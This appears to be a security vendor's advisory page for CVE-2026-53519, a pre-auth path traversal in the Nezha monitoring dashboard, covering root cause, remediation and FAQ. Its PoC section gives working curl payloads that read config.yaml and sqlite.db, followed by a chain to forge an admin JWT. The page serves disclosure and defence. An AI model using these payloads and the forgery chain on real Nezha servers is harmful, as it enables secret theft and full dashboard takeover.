CVE-2026-53519

CVE-2026-53519 is a critical-severity path traversal vulnerability in github.com/nezhahq/nezha (go), affecting versions < 2.0.13. It is fixed in 2.0.13.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwtsecretkey

fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml, which os.Stat finds and http.ServeFile returns. No authentication required.

In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user, full dashboard takeover from one GET request.

Details

Root cause

// cmd/dashboard/controller/controller.go @ 636f4a9
387:    fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388:    if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389:        stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390:        localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391:        if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392:            return
393:        }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323:     checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324:         if _, err := os.Stat(path); err == nil {
325:             http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326:             return true
327:         }

fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157, r.NoRoute(fallbackToFrontend(frontendDist)), so every URL not matched by an earlier route reaches it, including pre-auth.

Path math (verified, see appendix)

Input URL.Path TrimPrefix(..., "/dashboard") path.Join("admin-dist", ...) Reachable file
/dashboard/login /login admin-dist/login legitimate, intended
/dashboard/../data/config.yaml /../data/config.yaml data/config.yaml but blocked by Go http.ServeFile's URL ..-segment guard → 400
/dashboard../data/config.yaml ../data/config.yaml data/config.yaml served, 200
/dashboard%2e%2e/data/config.yaml ../data/config.yaml (decoded) data/config.yaml served, 200
/dashboard..%2fdata/config.yaml ../data/config.yaml (decoded) data/config.yaml served, 200

The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.., no standalone .., so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.

Why the existing defenses miss

  1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted.
  2. path.Join silently Cleans the result, so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.
  3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.
  4. No anchored "is this still under the template root?" check exists after path.Join.

PoC

Setup

TARGET:        github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS:       stdlib-only port, see Appendix A
WORKDIR:       tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request

The harness plants this data/config.yaml:

debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Observed responses

Primary payload, pre-auth secret disclosure:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
 
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Negative control, Go stdlib guard rejects the canonical form:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
 
invalid URL path

Encoded-dot variant, bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Encoded-slash variant, bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Double-encoded, confirms the bypass requires single-level encoding:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
 
<html>admin frontend OK</html>

The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html, no secret disclosure.

Encoded leading slash, also blocked at the stdlib layer:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
 
invalid URL path

SQLite database exfil, same primitive:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
 
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY

Sanity checks

  • Normal /dashboard/ request still serves admin-dist/index.html with HTTP 200, the bypass does not regress legitimate behavior.
  • Requests to /api/... still hit the JSON-404 branch, the bypass is isolated to the /dashboard fallback.

Direct primitive

Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:

File Default path Why it matters
data/config.yaml from -c flag default (cmd/dashboard/main.go:104) Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets
data/sqlite.db from -db flag default (cmd/dashboard/main.go:105) Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs

Chain to administrative account takeover (verified path)

  1. Read config, GET /dashboard../data/config.yaml returns plaintext YAML containing jwt_secret_key.
  2. Read database, GET /dashboard../data/sqlite.db returns the SQLite file; an attacker opens it and reads the users table to recover admin user IDs (and any other claims the JWT references).
  3. Forge a JWT, the dashboard's JWT middleware at cmd/dashboard/controller/jwt.go:22,27 is wired with:
    Key:              []byte(singleton.Conf.JWTSecretKey),
    SigningAlgorithm: "HS256",
    CookieName:       "nz-jwt",
    IdentityKey:      model.CtxKeyAuthorizedUser,
    
    HS256 is symmetric, possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose user_id claim matches the admin user from step 2 and attaches it as the nz-jwt cookie (or Authorization: Bearer ...).
  4. Operate as admin, every admin handler (adminHandler chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.
    The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-53519 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.13); upgrading removes the vulnerable code path.

Affected versions

github.com/nezhahq/nezha (< 2.0.13)

Security releases

github.com/nezhahq/nezha → 2.0.13 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:

- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
-     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+     cleanPath := path.Clean("/" + stripPath)
+     if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+         return
+     }
      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.

The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.

A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

Frequently Asked Questions

  1. What is CVE-2026-53519? CVE-2026-53519 is a critical-severity path traversal vulnerability in github.com/nezhahq/nezha (go), affecting versions < 2.0.13. It is fixed in 2.0.13. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-53519? CVE-2026-53519 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/nezhahq/nezha are affected by CVE-2026-53519? github.com/nezhahq/nezha (go) versions < 2.0.13 is affected.
  4. Is there a fix for CVE-2026-53519? Yes. CVE-2026-53519 is fixed in 2.0.13. Upgrade to this version or later.
  5. Is CVE-2026-53519 exploitable, and should I be worried? Whether CVE-2026-53519 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-53519 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-53519? Upgrade github.com/nezhahq/nezha to 2.0.13 or later.

Other vulnerabilities in github.com/nezhahq/nezha

Stop the waste.
Protect your environment with Kodem.